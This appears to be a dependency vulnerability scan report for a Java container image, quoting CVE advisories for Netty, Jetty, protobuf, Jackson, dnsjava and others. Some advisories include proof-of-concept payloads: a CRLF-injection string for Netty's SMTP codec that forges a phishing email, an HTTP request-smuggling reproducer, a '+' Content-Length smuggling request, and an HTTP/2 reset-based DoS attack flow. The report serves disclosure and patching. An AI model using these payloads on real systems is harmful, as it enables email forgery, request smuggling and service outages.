CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.424%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) - -pkg:maven/io.netty/netty-handler@4.1.94.Final
-high 7.5: CVE--2025--24970 Improper Input Validation - - - - - - - - -
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
- -
Description -
- -### Impact -When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. - -### Workarounds -As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: - -``` -SslContext context = ...; -SslHandler handler = context.newHandler(....); -``` - -to: - -``` -SslContext context = ...; -SSLEngine engine = context.newEngine(....); -SslHandler handler = new SslHandler(engine, ....); -``` - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
